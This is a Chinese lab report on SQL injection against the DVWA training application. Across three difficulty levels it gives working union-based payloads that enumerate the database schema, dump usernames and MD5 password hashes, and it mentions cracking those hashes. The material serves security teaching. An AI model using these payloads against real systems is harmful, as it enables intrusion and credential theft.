数据库——SQL注入攻击

news2024/11/24 20:37:55

【实验内容及要求】

一、内容:掌握SQL注入攻击的原理,掌握基本SQL注入攻击的方法,掌握防SQL注入攻击的基本措施。

二、要求:

1. DVWA环境配置

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块,分别是:Brute Force(暴力破解);Command Injection(命令行注入);CSRF(跨站请求伪造);File Inclusion(文件包含);File Upload(文件上传);Insecure CAPTCHA (不安全的验证码);SQL Injection(SQL注入);SQL Injection(Blind)(SQL盲注);XSS(Reflected)(反射型跨站脚本);XSS(Stored)(存储型跨站脚本)。在DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible,可以接触一些PHP代码审计的内容。

本实验要求在下载安装并配置好DVWA实验环境,在DVWA中创建数据库,并进行登录。

2. SQL注入

在DVWA中选择SQL injection,其难度等级分为low、medium、high和impossible。随后根据自身情况进行四种等级的SQL注入实验。

3. 亦可使用sqlmap来进行SQL注入攻击实验。

【实验平台】

【实验步骤】

一、实验环境的搭建

1.将DVWA安装包解压到如图所示相应位置,并备份修改config.inc.php.dist文件配置,然后将安装包解压。

2.更改文件夹权限,并重启apache服务。

3.登录搭建好的网站,更改配置,然后点击Create/Reset Database登录。

二、Low级别的SQL注入

判断注入点。

找闭合,输入1’报错”You have an error in your SQL syntax”;输入1’’不报错,说明闭合是单引号。

输入1’ or ’1234’=’1234,获得所有First name和Surname。

输入1’ or 1=1 order by 1 #,判断有几个字段;

输入1’ or 1=1 order by 2 #;

输入1’ or 1=1 order by 3 #,说明SQL语句查询查询的表的字段数为2。

输入1’ union select 1,2 #,判断回显。

爆库,输入1’ union select 1,database() #,判断使用的数据库。

爆表,输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,获得该数据库的表名。

爆列,输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,获得user表的列名。

输入1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,获得用户名和密码。

密码均为MD5加密,使用CMD5可进行破解。

三、Medium级别SQL注入

由于界面不允许自行输入,使用BurpSuite进行抓包。

更改为id=4 or 1=1 #&Submit=Submit可获得所有用户。

更改为id=4 order by 2 #&Submit=Submit确定列数。

更改为id=4 union select 1,2 #&Submit=Submit,判断回显。

更改为id=4 union select 1,database() #&Submit=Submit,爆库。

更改为id=4 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()  #&Submit=Submit,爆表。

更改为id=4 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&Submit=Submit,爆列。(其中0x7573657273为users的十六进制ascii码)

更改为id=4 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users  #&Submit=Submit,获得用户名和密码。

四、High级别SQL注入

判断注入点。

找闭合,输入1’报错”You have an error in your SQL syntax”;输入1’’不报错,说明闭合是单引号。

输入1’ or 1=1#,获得所有First name和Surname。

输入1’ or 1=1 order by 2 #,判断有几个字段;

输入1’ or 1=1 order by 3 #,说明SQL语句查询查询的表的字段数为2。

输入1’ union select 1,2 #,判断回显。

爆库,输入1’ union select 1,database() #,判断使用的数据库。

爆表,输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,获得该数据库的表名。

爆列,输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,获得user表的列名。

输入1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,获得用户名和密码。

五、Impossible级别

无法注入,因为Impossible级别的源码使用正则表达式过滤掉了不合法的字符。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1360932.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IPD-PDP产品开发流程-PDT产品开发计划Charter文档模板(word)6

今天继续为您分享PDT的产品开发计划Charter模板的内容。 Charter任务书模板内容17:配置管理 项目的配置管理活动应该按照配置管理计划来执行。配置管理计划包括定义项目中的配置项,配置项中需要进行正式变更控制的内容,并为这些配置项和内容…

DS|静态查找

题目一:DS静态查找 -- 顺序查找 题目描述: 给出一个队列和要查找的数值,找出数值在队列中的位置,队列位置从1开始 要求使用带哨兵的顺序查找算法 输入要求: 第一行输入n,表示队列有n个数据 第二行输入…

SpringBoot如何返回页面

前提 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>hello</title> </head> <body> 你好&#xff01;初学者&#xff0c;我是SpringBoot的简单启动页面&#xff01; </body>…

数据结构之绪论

一个著名公式&#xff1a; 程序数据结构算法 非数值计算&#xff1a;无法用数学的公式或方程来描述 描述非数值计算问题的数据模型不是数学方程&#xff0c;而是诸如表&#xff0c;树和图之类的具有逻辑关系的数据 数据结构&#xff1a;是一门研究非数值计算的程序设计中计算机…

【AIGC-图片生成视频系列-6】SSR-Encoder:用于主题驱动生成的通用编码器

目录 一. 贡献概述 二. 方法详解 a) 训练阶段 b) 推理生成阶段&#xff1a; 三. 综合结果 四. 注意力可视化 五. 选择性主题驱动图像生成 六. 人体图像生成 七. 可推广到视频生成模型 八. 论文 九. 个人思考 稳定扩散&#xff08;Stable Diffusion&#xff09;模型可…

OpenShift 4 - 使用 Model Serving 运行模型

《OpenShift / RHEL / DevSecOps 汇总目录》 说明&#xff1a;本文已经在 OpenShift 4.14 RHODS 2.50 的环境中验证 说明&#xff1a;请先根据《OpenShift 4 - 部署 OpenShift AI 环境&#xff0c;运行 AI/ML 应用&#xff08;视频&#xff09;》一文完成 OpenShift AI 环境的…

域名流量被劫持怎么办?如何避免域名流量劫持?

随着互联网不断发展&#xff0c;流量成为线上世界的巨大财富。然而一种叫做域名流量劫持的网络攻击&#xff0c;将会在不经授权的情况下控制或重定向一个域名的DNS记录&#xff0c;导致用户在访问一个网站时&#xff0c;被引导到另一个不相关的网站&#xff0c;从而劫持走原网站…

简单介绍Java 的内存泄漏

java最明显的一个优势就是它的内存管理机制。你只需简单创建对象&#xff0c;java的垃圾回收机制负责分配和释放内存。然而情况并不像想像的那么简单&#xff0c;因为在Java应用中经常发生内存泄漏。 本教程演示了什么是内存泄漏&#xff0c;为什么会发生内存泄漏以及如何预防…

C# 使用命名管道进行网络进程间通信

目录 写在前面 代码实现 服务端代码 客户端代码 调用示例 写在前面 使用 NamedPipeServerStream 和 NamedPipeClientStream 类&#xff0c;实现命名管道方式的网络通讯&#xff0c;支持跨网络和多个服务器实例的全双工通信、基于消息的通信以及客户端模拟&#xff1b;需要…

力扣:15.三数之和

1.做题链接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 2.做题前须&#xff1a; 两数之和降低复杂度&#xff1a; 1.问题描述&#xff1a;一个数组中找到两个数字之和是taeget 例如&#xff1a;[2,7,11,15,19,21],target30 2.解法一&#xff1a;暴力枚举时间复…

权威认可!甄知科技猪齿鱼产品荣获信创产品评估证书

近日&#xff0c;依据《信息技术应用创新产品评估规范 第1部分&#xff1a;应用软件》&#xff08;T/SSIA 2001-2022&#xff09;&#xff0c;经过严格评估&#xff0c;甄知科技旗下自主研发的猪齿鱼数智化开发管理平台 V2.0.0&#xff0c;通过信创测试认证&#xff0c;获得上海…

java基于SSM的毕业生就业管理系统+vue论文

摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本毕业生就业管理系统就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理完毕庞大的数据信…

UE4运用C++和框架开发坦克大战教程笔记(十四)(第43~45集)

UE4运用C和框架开发坦克大战教程笔记&#xff08;十四&#xff09;&#xff08;第43~45集&#xff09; 43. 单个加载 UObject 功能获取资源 URL 链接实现异步加载单个 UObject 类型资源 44. 批量加载 UObject 功能测试加载单个 UObject 资源批量加载多个同类的 UObject 资源 45…

跟着小德学C++之日志记录

嗨&#xff0c;大家好&#xff0c;我是出生在达纳苏斯的一名德鲁伊&#xff0c;我是要立志成为海贼王&#xff0c;啊不&#xff0c;是立志成为科学家的德鲁伊。最近&#xff0c;我发现我们所处的世界是一个虚拟的世界&#xff0c;并由此开始&#xff0c;我展开了对我们这个世界…

VS2017 搭建opencv工程

VS2017 搭建opencv工程 opencv在处理图像方面具有很强的能力&#xff0c;在使用opencv之前先需要造好轮子。 1、opencv 官网 &#xff0c;下载对应的资源文件包。 根据自身选择。下载包之后&#xff0c;解压。分为build和sources source目录下分别存放&#xff1a; modules: …

Java面试项目推荐,异构数据源数据流转服务DatalinkX

前言 作为一个年迈的夹娃练习生&#xff0c;每次到了春招秋招面试实习生时都能看到一批简历&#xff0c;十个简历里得有七八个是写商城或者外卖项目。 不由得想到了我大四那会&#xff0c;由于没有啥项目经验&#xff0c;又想借一个质量高点的项目通过简历初筛&#xff0c;就…

Pytest的测试报告——Allure

一、html-report测试报告 html-report测试报告。是pytest下基本的测试报告。要使用pytest-html测试报告&#xff0c;就要确保python版本在3.6及以上即可。本身pytest所提供的测试结果汇总&#xff0c;是基于控制台的文本输出形式。 pytest-html是基于HTML格式实现的测试报告的…

三、C语言分支与循环知识点补充——随机数生成

本章分支结构的学习内容如下&#xff1a; 三、C语言中的分支与循环—if语句 (1) 三、C语言中的分支与循环—关系操作符 (2) 三、C语言中的分支与循环—条件操作符 与逻辑操作符(3) 三、C语言中的分支与循环—switch语句&#xff08;4&#xff09;分支结构 完 本章循环结构的…

Python 中的==操作符 和 is关键字

Python是一种功能强大的通用编程语言&#xff0c;提供了各种比较值和对象的方法。其中包括操作符和is关键字&#xff0c;它们的用途不同&#xff0c;但由于它们有时可以达到相同的目的&#xff0c;所以经常会被混淆。在本文中&#xff0c;我们将深入研究和is之间的区别&#xf…

解决:ModuleNotFoundError: No module named ‘bs4’

解决&#xff1a;ModuleNotFoundError: No module named ‘bs4’ 文章目录 解决&#xff1a;ModuleNotFoundError: No module named bs4背景报错问题报错翻译报错位置代码报错原因解决方法方法一&#xff0c;直接安装方法二&#xff0c;手动下载安装方法三&#xff0c;编译安装…